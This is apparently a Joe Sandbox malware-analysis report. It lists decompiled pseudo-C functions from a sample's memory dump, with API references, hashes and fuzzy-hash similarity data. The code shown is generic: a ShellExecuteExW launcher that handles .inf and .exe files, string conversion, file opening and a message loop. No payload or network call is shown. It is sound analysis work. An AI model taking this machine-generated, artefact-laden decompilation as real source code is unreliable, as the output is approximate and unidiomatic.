			E00CDE75F(void* __ebp, struct _SHELLEXECUTEINFOW _a4, char* _a8, char* _a16, signed short* _a20, signed short* _a24, intOrPtr _a32, void* _a48, char _a52, intOrPtr _a56, char _a64, struct HWND__* _a4160, void* _a4164, signed short* _a4168, intOrPtr _a4172, intOrPtr _a4176) {
				long _v12;
				void* __edi;
				int _t47;
				signed int _t50;
				void* _t51;
				signed short* _t53;
				long _t64;
				signed int _t71;
				void* _t72;
				signed short _t73;
				int _t74;
				void* _t76;
				signed int _t77;
				intOrPtr _t78;
				long _t80;
				signed int _t81;
				void* _t82;
				void* _t84;
				signed int _t86;
				signed short* _t87;
				struct HWND__* _t88;
				void* _t89;
				void* _t92;

				_t89 = __ebp;
				_t47 = E00CDFE20(0x1040);
				_t87 = _a4168;
				_t74 = 0;
				if( *_t87 == 0) {
					L54:
					return _t47;
				}
				_t47 = E00CE4DF3(_t87);
				if(_t47 >= 0x7f6) {
					goto L54;
				} else {
					_t80 = 0x3c;
					E00CE1000(_t80,  &_a4, 0, _t80);
					_t78 = _a4176;
					_t92 = _t92 + 0xc;
					_a4.cbSize = _t80;
					_a8 = 0x1c0;
					if(_t78 != 0) {
						_a8 = 0x5c0;
					}
					_t50 =  *_t87 & 0x0000ffff;
					_push(_t89);
					_t76 = 0x22;
					_t81 = _t50;
					_t77 = _t74;
					if(_t50 != _t76) {
						_t90 = _t87;
						_a20 = _t87;
						goto L16;
					} else {
						_t90 =  &(_t87[1]);
						_a20 =  &(_t87[1]);
						L6:
						_t51 = 0x22;
						if(_t81 != _t51) {
							L13:
							_t82 = 0x20;
							_t53 =  &(( &(_t87[1]))[_t77]);
							if(_t87[_t77] == _t82) {
								_t87[_t77] = 0;
								L48:
								_a24 = _t53;
								L18:
								if(_t53 == 0 ||  *_t53 == _t74) {
									if(_t78 == 0 &&  *0xd1489a != _t74) {
										_a24 = 0xd1489a;
									}
								}
								_a32 = _a4172;
								_t84 = E00CCCD3C(_t90);
								if(_t84 != 0 && E00CD32E6(_t84, L".inf") == 0) {
									_a16 = L"Install";
								}
								if(E00CCB4A1(_a20) != 0) {
									E00CCCAB4(_a20,  &_a64, 0x800);
									_a8 =  &_a52;
								}
								_t47 = ShellExecuteExW( &_a4); // executed
								if(_t47 != 0) {
									_t88 = _a4160;
									if( *0xd12890 != _t74 || _a4172 != _t74 ||  *0xd21cd8 != _t74) {
										if(_t88 != 0) {
											_push(_t88);
											if( *0xd250a8() != 0) {
												ShowWindow(_t88, _t74);
												_t74 = 1;
											}
										}
										 *0xd250a4(_a56, 0x7d0);
										E00CDEC0B(_a48);
										if( *0xd21cd8 != 0 && _a4164 == 0 && GetExitCodeProcess(_a48,  &_v12) != 0) {
											_t64 = _v12;
											if(_t64 >  *0xd21cdc) {
												 *0xd21cdc = _t64;
											}
											 *0xd21cd9 = 1;
										}
									}
									CloseHandle(_a48);
									if(_t84 == 0 || E00CD32E6(_t84, L".exe") != 0) {
										_t47 = _a4164;
										if( *0xd12890 != 0 && _t47 == 0 &&  *0xd21cd8 == _t47) {
											 *0xd21ce0 = 0x1b58;
										}
									} else {
										_t47 = _a4164;
									}
									if(_t74 != 0 && _t47 != 0) {
										_t47 = ShowWindow(_t88, 1);
									}
								}
								goto L54;
							}
							if( *_t53 == 0x2f) {
								goto L48;
							}
							_t77 = _t77 + 1;
							_t50 = _t87[_t77] & 0x0000ffff;
							_t81 = _t50;
							L16:
							if(_t50 != 0) {
								goto L6;
							}
							_t53 = _a24;
							goto L18;
						} else {
							while(1) {
								_t77 = _t77 + 1;
								_t71 = _t87[_t77] & 0x0000ffff;
								_t86 = _t71;
								if(_t71 == 0) {
									break;
								}
								_t72 = 0x22;
								if(_t86 == _t72) {
									_t73 = 0x20;
									_t87[_t77] = _t73;
									goto L13;
								}
							}
							goto L13;
						}
					}
				}
			}

0x00cde75f
0x00cde764
0x00cde76b
0x00cde772
0x00cde777
0x00cde9ba
0x00cde9c0
0x00cde9c0
0x00cde77e
0x00cde789
0x00000000
0x00cde78f
0x00cde792
0x00cde79a
0x00cde79f
0x00cde7a6
0x00cde7a9
0x00cde7ad
0x00cde7b7
0x00cde7b9
0x00cde7b9
0x00cde7c1
0x00cde7c4
0x00cde7c7
0x00cde7cb
0x00cde7cd
0x00cde7cf
0x00cde7e2
0x00cde7e4
0x00000000
0x00cde7d1
0x00cde7d1
0x00cde7d4
0x00cde7d8
0x00cde7da
0x00cde7de
0x00cde807
0x00cde809
0x00cde80d
0x00cde814
0x00cde992
0x00cde996
0x00cde996
0x00cde834
0x00cde836
0x00cde83f
0x00cde84a
0x00cde84a
0x00cde83f
0x00cde85a
0x00cde863
0x00cde868
0x00cde879
0x00cde879
0x00cde88c
0x00cde89c
0x00cde8a5
0x00cde8a5
0x00cde8ae
0x00cde8b6
0x00cde8bc
0x00cde8c9
0x00cde8de
0x00cde8e0
0x00cde8e9
0x00cde8ed
0x00cde8f3
0x00cde8f3
0x00cde8e9
0x00cde8fe
0x00cde908
0x00cde914
0x00cde933
0x00cde93d
0x00cde93f
0x00cde93f
0x00cde944
0x00cde944
0x00cde914
0x00cde94f
0x00cde957
0x00cde96f
0x00cde976
0x00cde984
0x00cde984
0x00cde99f
0x00cde99f
0x00cde99f
0x00cde9a8
0x00cde9b1
0x00cde9b1
0x00cde9a8
0x00000000
0x00cde9b7
0x00cde81e
0x00000000
0x00000000
0x00cde824
0x00cde825
0x00cde829
0x00cde82b
0x00cde82e
0x00000000
0x00000000
0x00cde830
0x00000000
0x00cde7e0
0x00cde7f2
0x00cde7f2
0x00cde7f3
0x00cde7f7
0x00cde7fc
0x00000000
0x00000000
0x00cde7ec
0x00cde7f0
0x00cde802
0x00cde803
0x00000000
0x00cde803
0x00cde7f0
0x00000000
0x00cde7fe
0x00cde7de
0x00cde7cf

APIs

_wcslen.LIBCMT ref: 00CDE77E
ShellExecuteExW.SHELL32(?), ref: 00CDE8AE
ShowWindow.USER32(?,00000000), ref: 00CDE8ED
GetExitCodeProcess.KERNEL32 ref: 00CDE929
CloseHandle.KERNEL32(?), ref: 00CDE94F
ShowWindow.USER32(?,00000001), ref: 00CDE9B1

Strings

.inf, xrefs: 00CDE86A
.exe, xrefs: 00CDE959

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: ShowWindow$CloseCodeExecuteExitHandleProcessShell_wcslen
String ID: .exe$.inf
API String ID: 36480843-3750412487
Opcode ID: 11bcf24f83958629ddb55402a8dab631d30704fb51c067135572dd339dfad1da
Instruction ID: f207a5c4d29ce6824f417c3688c147470d93ad41a4139b5d2cb91991ac2a455e
Opcode Fuzzy Hash: 11bcf24f83958629ddb55402a8dab631d30704fb51c067135572dd339dfad1da
Instruction Fuzzy Hash: 8F51F6344043809ADB30BB15DC54BBBBBE4AF90744F08441FFAD49B391DB718A85E762

Uniqueness

Uniqueness Score: -1.00%

Function 00CEB96B Relevance: 9.2, APIs: 6, Instructions: 216
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 70%

			E00CEB96B(void* __ecx, intOrPtr* _a4, intOrPtr _a8, signed int _a12, char* _a16, int _a20, intOrPtr _a24, short* _a28, int _a32, intOrPtr _a36) {
				signed int _v8;
				int _v12;
				void* _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t49;
				signed int _t54;
				int _t57;
				signed int _t59;
				short* _t61;
				signed int _t65;
				short* _t70;
				int _t79;
				void* _t81;
				short* _t82;
				signed int _t88;
				signed int _t91;
				void* _t96;
				int _t98;
				void* _t99;
				short* _t101;
				int _t103;
				void* _t104;
				int _t105;
				signed int _t106;
				short* _t107;
				void* _t110;

				_push(__ecx);
				_push(__ecx);
				_t49 =  *0xd007a8; // 0x763902cb
				_v8 = _t49 ^ _t106;
				_t103 = _a20;
				if(_t103 > 0) {
					_t79 = E00CEFF5C(_a16, _t103);
					_t110 = _t79 - _t103;
					_t4 = _t79 + 1; // 0x1
					_t103 = _t4;
					if(_t110 >= 0) {
						_t103 = _t79;
					}
				}
				_t98 = _a32;
				if(_t98 == 0) {
					_t98 =  *( *_a4 + 8);
					_a32 = _t98;
				}
				_t54 = MultiByteToWideChar(_t98, 1 + (0 | _a36 != 0x00000000) * 8, _a16, _t103, 0, 0);
				_v12 = _t54;
				if(_t54 == 0) {
					L38:
					_pop(_t99);
					_pop(_t104);
					_pop(_t81);
					return E00CE0BCC(_t54, _t81, _v8 ^ _t106, _t96, _t99, _t104);
				} else {
					_t96 = _t54 + _t54;
					_t86 = _t96 + 8;
					asm("sbb eax, eax");
					if((_t96 + 0x00000008 & _t54) == 0) {
						_t82 = 0;
						__eflags = 0;
						L14:
						if(_t82 == 0) {
							L36:
							_t105 = 0;
							L37:
							E00CEBBD3(_t82);
							_t54 = _t105;
							goto L38;
						}
						_t57 = MultiByteToWideChar(_t98, 1, _a16, _t103, _t82, _v12);
						_t121 = _t57;
						if(_t57 == 0) {
							goto L36;
						}
						_t100 = _v12;
						_t59 = E00CEBF7C(_t82, _t86, _v12, _t121, _a8, _a12, _t82, _v12, 0, 0, 0, 0, 0); // executed
						_t105 = _t59;
						if(_t105 == 0) {
							goto L36;
						}
						if((_a12 & 0x00000400) == 0) {
							_t96 = _t105 + _t105;
							_t88 = _t96 + 8;
							__eflags = _t96 - _t88;
							asm("sbb eax, eax");
							__eflags = _t88 & _t59;
							if((_t88 & _t59) == 0) {
								_t101 = 0;
								__eflags = 0;
								L30:
								__eflags = _t101;
								if(__eflags == 0) {
									L35:
									E00CEBBD3(_t101);
									goto L36;
								}
								_t61 = E00CEBF7C(_t82, _t88, _t101, __eflags, _a8, _a12, _t82, _v12, _t101, _t105, 0, 0, 0);
								__eflags = _t61;
								if(_t61 == 0) {
									goto L35;
								}
								_push(0);
								_push(0);
								__eflags = _a28;
								if(_a28 != 0) {
									_push(_a28);
									_push(_a24);
								} else {
									_push(0);
									_push(0);
								}
								_t105 = WideCharToMultiByte(_a32, 0, _t101, _t105, ??, ??, ??, ??);
								__eflags = _t105;
								if(_t105 != 0) {
									E00CEBBD3(_t101);
									goto L37;
								} else {
									goto L35;
								}
							}
							_t91 = _t96 + 8;
							__eflags = _t96 - _t91;
							asm("sbb eax, eax");
							_t65 = _t59 & _t91;
							_t88 = _t96 + 8;
							__eflags = _t65 - 0x400;
							if(_t65 > 0x400) {
								__eflags = _t96 - _t88;
								asm("sbb eax, eax");
								_t101 = E00CEA64E(_t88, _t65 & _t88);
								_pop(_t88);
								__eflags = _t101;
								if(_t101 == 0) {
									goto L35;
								}
								 *_t101 = 0xdddd;
								L28:
								_t101 =  &(_t101[4]);
								goto L30;
							}
							__eflags = _t96 - _t88;
							asm("sbb eax, eax");
							E00CF3020(_t65 & _t88);
							_t101 = _t107;
							__eflags = _t101;
							if(_t101 == 0) {
								goto L35;
							}
							 *_t101 = 0xcccc;
							goto L28;
						}
						_t70 = _a28;
						if(_t70 == 0) {
							goto L37;
						}
						_t125 = _t105 - _t70;
						if(_t105 > _t70) {
							goto L36;
						}
						_t105 = E00CEBF7C(_t82, 0, _t100, _t125, _a8, _a12, _t82, _t100, _a24, _t70, 0, 0, 0);
						if(_t105 != 0) {
							goto L37;
						}
						goto L36;
					}
					asm("sbb eax, eax");
					_t72 = _t54 & _t96 + 0x00000008;
					_t86 = _t96 + 8;
					if((_t54 & _t96 + 0x00000008) > 0x400) {
						__eflags = _t96 - _t86;
						asm("sbb eax, eax");
						_t82 = E00CEA64E(_t86, _t72 & _t86);
						_pop(_t86);
						__eflags = _t82;
						if(__eflags == 0) {
							goto L36;
						}
						 *_t82 = 0xdddd;
						L12:
						_t82 =  &(_t82[4]);
						goto L14;
					}
					asm("sbb eax, eax");
					E00CF3020(_t72 & _t86);
					_t82 = _t107;
					if(_t82 == 0) {
						goto L36;
					}
					 *_t82 = 0xcccc;
					goto L12;
				}
			}

0x00ceb970
0x00ceb971
0x00ceb972
0x00ceb979
0x00ceb97e
0x00ceb984
0x00ceb98a
0x00ceb990
0x00ceb993
0x00ceb993
0x00ceb996
0x00ceb998
0x00ceb998
0x00ceb996
0x00ceb99a
0x00ceb99f
0x00ceb9a6
0x00ceb9a9
0x00ceb9a9
0x00ceb9c5
0x00ceb9cb
0x00ceb9d0
0x00cebb63
0x00cebb66
0x00cebb67
0x00cebb68
0x00cebb76
0x00ceb9d6
0x00ceb9d6
0x00ceb9d9
0x00ceb9de
0x00ceb9e2
0x00ceba36
0x00ceba36
0x00ceba38
0x00ceba3a
0x00cebb58
0x00cebb58
0x00cebb5a
0x00cebb5b
0x00cebb61
0x00000000
0x00cebb61
0x00ceba4b
0x00ceba51
0x00ceba53
0x00000000
0x00000000
0x00ceba59
0x00ceba6b
0x00ceba70
0x00ceba74
0x00000000
0x00000000
0x00ceba81
0x00cebabb
0x00cebabe
0x00cebac1
0x00cebac3
0x00cebac5
0x00cebac7
0x00cebb13
0x00cebb13
0x00cebb15
0x00cebb15
0x00cebb17
0x00cebb51
0x00cebb52
0x00000000
0x00cebb57
0x00cebb2b
0x00cebb30
0x00cebb32
0x00000000
0x00000000
0x00cebb36
0x00cebb37
0x00cebb38
0x00cebb3b
0x00cebb77
0x00cebb7a
0x00cebb3d
0x00cebb3d
0x00cebb3e
0x00cebb3e
0x00cebb4b
0x00cebb4d
0x00cebb4f
0x00cebb80
0x00000000
0x00000000
0x00000000
0x00000000
0x00cebb4f
0x00cebac9
0x00cebacc
0x00cebace
0x00cebad0
0x00cebad2
0x00cebad5
0x00cebada
0x00cebaf5
0x00cebaf7
0x00cebb01
0x00cebb03
0x00cebb04
0x00cebb06
0x00000000
0x00000000
0x00cebb08
0x00cebb0e
0x00cebb0e
0x00000000
0x00cebb0e
0x00cebadc
0x00cebade
0x00cebae2
0x00cebae7
0x00cebae9
0x00cebaeb
0x00000000
0x00000000
0x00cebaed
0x00000000
0x00cebaed
0x00ceba83
0x00ceba88
0x00000000
0x00000000
0x00ceba8e
0x00ceba90
0x00000000
0x00000000
0x00cebaac
0x00cebab0
0x00000000
0x00000000
0x00000000
0x00cebab6
0x00ceb9e9
0x00ceb9eb
0x00ceb9ed
0x00ceb9f5
0x00ceba14
0x00ceba16
0x00ceba20
0x00ceba22
0x00ceba23
0x00ceba25
0x00000000
0x00000000
0x00ceba2b
0x00ceba31
0x00ceba31
0x00000000
0x00ceba31
0x00ceb9f9
0x00ceb9fd
0x00ceba02
0x00ceba06
0x00000000
0x00000000
0x00ceba0c
0x00000000
0x00ceba0c

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00CE6959,00CE6959,?,?,?,00CEBBBC,00000001,00000001,62E85006), ref: 00CEB9C5
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,00CEBBBC,00000001,00000001,62E85006,?,?,?), ref: 00CEBA4B
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,62E85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00CEBB45
__freea.LIBCMT ref: 00CEBB52

Part of subcall function 00CEA64E: RtlAllocateHeap.NTDLL(00000000,?,?,?,00CE53E4,?,0000015D,?,?,?,?,00CE68C0,000000FF,00000000,?,?), ref: 00CEA680

__freea.LIBCMT ref: 00CEBB5B
__freea.LIBCMT ref: 00CEBB80

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: b4247aa74b710fa589d38b28d6b2a5cc09070907e72c0000319cc0b6f3a8df18
Instruction ID: 7b7551c071f731880f27567b2abb346ef76a9c23935f65168f1e956547ecedba
Opcode Fuzzy Hash: b4247aa74b710fa589d38b28d6b2a5cc09070907e72c0000319cc0b6f3a8df18
Instruction Fuzzy Hash: 1251FE72600296AFDB258F66CC82FBF77AAEB44710F254628FD28D7144EB34DD40D6A1

Uniqueness

Uniqueness Score: -1.00%

Function 00CCAB20 Relevance: 7.6, APIs: 5, Instructions: 111
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 97%

			E00CCAB20(void* __ecx, void* __esi, signed int _a4, short _a8, WCHAR* _a4180, unsigned int _a4184) {
				struct _FILETIME _v0;
				char _t38;
				void* _t40;
				long _t52;
				unsigned int _t53;
				long _t56;
				signed int _t57;
				void* _t61;
				void* _t62;
				long _t68;
				void* _t70;

				_t62 = __esi;
				E00CDFE20(0x1050);
				_t53 = _a4184;
				_t61 = __ecx;
				 *(__ecx + 0x1034) =  *(__ecx + 0x1034) & 0x00000000;
				if( *((char*)(__ecx + 0x30)) != 0 || (_t53 & 0x00000004) != 0) {
					_t38 = 1;
				} else {
					_t38 = 0;
				}
				_push(_t62);
				_t68 = ( !(_t53 >> 1) & 0x00000001) + 1 << 0x1e;
				if((_t53 & 0x00000001) != 0) {
					_t68 = _t68 | 0x40000000;
				}
				_t56 =  !(_t53 >> 3) & 0x00000001;
				if(_t38 != 0) {
					_t56 = _t56 | 0x00000002;
				}
				E00CC79C5( &_a8);
				if( *((char*)(_t61 + 0x24)) != 0) {
					_t68 = _t68 | 0x00000100;
				}
				_t40 = CreateFileW(_a4180, _t68, _t56, 0, 3, 0x8000000, 0); // executed
				_t70 = _t40;
				if(_t70 != 0xffffffff) {
					goto L15;
				} else {
					_v0.dwLowDateTime = GetLastError();
					if(E00CCCF12(_a4180,  &_a8, 0x800) == 0) {
						L16:
						if(_v0.dwLowDateTime == 2) {
							 *((intOrPtr*)(_t61 + 0x1034)) = 1;
						}
						L18:
						if( *((char*)(_t61 + 0x24)) != 0 && _t70 != 0xffffffff) {
							_v0.dwLowDateTime = _v0.dwLowDateTime | 0xffffffff;
							_a4 = _a4 | 0xffffffff;
							SetFileTime(_t70, 0,  &_v0, 0);
						}
						 *((char*)(_t61 + 0x1c)) = 0;
						 *((intOrPtr*)(_t61 + 0x10)) = 0;
						_t30 = _t70 != 0xffffffff;
						_t57 = _t56 & 0xffffff00 | _t30;
						 *((char*)(_t61 + 0x15)) = 0;
						if(_t30 != 0) {
							 *(_t61 + 8) = _t70;
							E00CD1908(_t61 + 0x32, _a4180, 0x800);
							 *((char*)(_t61 + 0x25)) = 0;
						}
						return _t57;
					}
					_t70 = CreateFileW( &_a8, _t68, _t56, 0, 3, 0x8000000, 0);
					_t52 = GetLastError();
					if(_t52 == 2) {
						_v0.dwLowDateTime = _t52;
					}
					L15:
					if(_t70 != 0xffffffff) {
						goto L18;
					}
					goto L16;
				}
			}

0x00ccab20
0x00ccab25
0x00ccab2b
0x00ccab34
0x00ccab36
0x00ccab41
0x00ccab4c
0x00ccab48
0x00ccab48
0x00ccab48
0x00ccab4e
0x00ccab59
0x00ccab5f
0x00ccab61
0x00ccab61
0x00ccab6c
0x00ccab71
0x00ccab73
0x00ccab73
0x00ccab7a
0x00ccab83
0x00ccab85
0x00ccab85
0x00ccab9f
0x00ccaba5
0x00ccabaa
0x00000000
0x00ccabac
0x00ccabb2
0x00ccabce
0x00ccac08
0x00ccac0d
0x00ccac0f
0x00ccac0f
0x00ccac19
0x00ccac1e
0x00ccac25
0x00ccac2e
0x00ccac39
0x00ccac39
0x00ccac44
0x00ccac47
0x00ccac4a
0x00ccac4a
0x00ccac4d
0x00ccac50
0x00ccac61
0x00ccac65
0x00ccac6a
0x00ccac6a
0x00ccac79
0x00ccac79
0x00ccabe8
0x00ccabea
0x00ccabf3
0x00ccabf5
0x00ccabf5
0x00ccac03
0x00ccac06
0x00000000
0x00000000
0x00000000
0x00ccac06

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,00000003,08000000,00000000,?,00000000,?,?,00CC8223,?,00000005,?,00000011), ref: 00CCAB9F
GetLastError.KERNEL32(?,?,00CC8223,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00CCABAC
CreateFileW.KERNEL32(00000000,?,?,00000000,00000003,08000000,00000000,?,?,00000800,?,?,00CC8223,?,00000005,?), ref: 00CCABE2
GetLastError.KERNEL32(?,?,00CC8223,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00CCABEA
SetFileTime.KERNEL32(00000000,00000000,000000FF,00000000,?,00CC8223,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00CCAC39

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: File$CreateErrorLast$Time
String ID:
API String ID: 1999340476-0
Opcode ID: 39c70ebc8ebbdaf2d0d6a769195312ccab99efaee8e6d66da3e5a542b839ca1c
Instruction ID: b95e04d34b1684227285010a47721e7df1e548dbdcbf62ae6c1044288f6684b3
Opcode Fuzzy Hash: 39c70ebc8ebbdaf2d0d6a769195312ccab99efaee8e6d66da3e5a542b839ca1c
Instruction Fuzzy Hash: 523125305447496FE3208F24CC49FEABB95BB05328F100B1DF6B1962D0C7B1AA84CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00CEA3E9 Relevance: 7.6, APIs: 5, Instructions: 53
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E00CEA3E9(void* __ecx, void* __edx) {
				void* __ebx;
				void* __edi;
				intOrPtr _t2;
				void* _t3;
				void* _t4;
				void* _t10;
				void* _t11;
				void* _t13;
				void* _t16;
				void* _t17;
				long _t18;

				_t11 = __ecx;
				_t18 = GetLastError();
				_t10 = 0;
				_t2 =  *0xd007f4; // 0x6
				_t21 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L2:
					_t3 = E00CEC146(_t11, 1, 0x364); // executed
					_t17 = _t3;
					_pop(_t13);
					if(_t17 != 0) {
						_t4 = E00CEBEC1(_t10, _t13, _t17, __eflags,  *0xd007f4, _t17);
						__eflags = _t4;
						if(_t4 != 0) {
							E00CEA1D0(_t13, _t17, 0xd242bc);
							E00CEA4BA(_t10);
							__eflags = _t17;
							if(_t17 != 0) {
								goto L9;
							} else {
								goto L8;
							}
						} else {
							_push(_t17);
							goto L4;
						}
					} else {
						_push(_t10);
						L4:
						E00CEA4BA();
						L8:
						SetLastError(_t18);
					}
				} else {
					_t17 = E00CEBE6B(0, _t11, _t16, _t21, _t2);
					if(_t17 != 0) {
						L9:
						SetLastError(_t18);
						_t10 = _t17;
					} else {
						goto L2;
					}
				}
				return _t10;
			}

0x00cea3e9
0x00cea3f4
0x00cea3f6
0x00cea3f8
0x00cea3fd
0x00cea400
0x00cea40e
0x00cea415
0x00cea41a
0x00cea41d
0x00cea420
0x00cea432
0x00cea437
0x00cea439
0x00cea444
0x00cea44a
0x00cea452
0x00cea454
0x00000000
0x00000000
0x00000000
0x00000000
0x00cea43b
0x00cea43b
0x00000000
0x00cea43b
0x00cea422
0x00cea422
0x00cea423
0x00cea423
0x00cea456
0x00cea457
0x00cea457
0x00cea402
0x00cea408
0x00cea40c
0x00cea45f
0x00cea460
0x00cea466
0x00000000
0x00000000
0x00000000
0x00cea40c
0x00cea46d

APIs

GetLastError.KERNEL32(?,?,?,00CEA640,00CEC198,?,00CEA393,00000001,00000364,?,00CE524D,?,?,00D030C4), ref: 00CEA3EE
_free.LIBCMT ref: 00CEA423
_free.LIBCMT ref: 00CEA44A
SetLastError.KERNEL32(00000000,?,00D030C4), ref: 00CEA457
SetLastError.KERNEL32(00000000,?,00D030C4), ref: 00CEA460

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: e09100d1743dcf6d0e03bc414bbe9fca1c4f3651aaed548959cc725fc4ff8af5
Instruction ID: 11581844a538604f9167f860a149b8610159b953fb4c2d0597ed3454945d5ea6
Opcode Fuzzy Hash: e09100d1743dcf6d0e03bc414bbe9fca1c4f3651aaed548959cc725fc4ff8af5
Instruction Fuzzy Hash: 4601F9321406806FC21523376C8EB3F26AADBC0361B215028FA15922D2EEB4ED026177

Uniqueness

Uniqueness Score: -1.00%

Function 00CDC5F8 Relevance: 7.5, APIs: 5, Instructions: 38
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00CDC5F8() {
				struct tagMSG _v32;
				int _t7;
				struct HWND__* _t10;
				long _t14;

				_t7 = PeekMessageW( &_v32, 0, 0, 0, 0); // executed
				if(_t7 != 0) {
					GetMessageW( &_v32, 0, 0, 0);
					_t10 =  *0xd0a470; // 0x10424
					if(_t10 == 0) {
						L3:
						TranslateMessage( &_v32);
						_t14 = DispatchMessageW( &_v32); // executed
						return _t14;
					}
					_t7 = IsDialogMessageW(_t10,  &_v32);
					if(_t7 == 0) {
						goto L3;
					}
				}
				return _t7;
			}

0x00cdc609
0x00cdc611
0x00cdc61a
0x00cdc620
0x00cdc627
0x00cdc638
0x00cdc63c
0x00cdc646
0x00000000
0x00cdc646
0x00cdc62e
0x00cdc636
0x00000000
0x00000000
0x00cdc636
0x00cdc64e

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00CDC609
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00CDC61A
IsDialogMessageW.USER32(00010424,?), ref: 00CDC62E
TranslateMessage.USER32(?), ref: 00CDC63C
DispatchMessageW.USER32(?), ref: 00CDC646

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: 42a01e729e75e4b47a002eacde6118355bb9ba22b196aa61debbb8d1236e5fab
Instruction ID: 6344110e076a6bf698dfd0d7768ba6f741a90ceb4feedb7c7850dfed571e5a23
Opcode Fuzzy Hash: 42a01e729e75e4b47a002eacde6118355bb9ba22b196aa61debbb8d1236e5fab
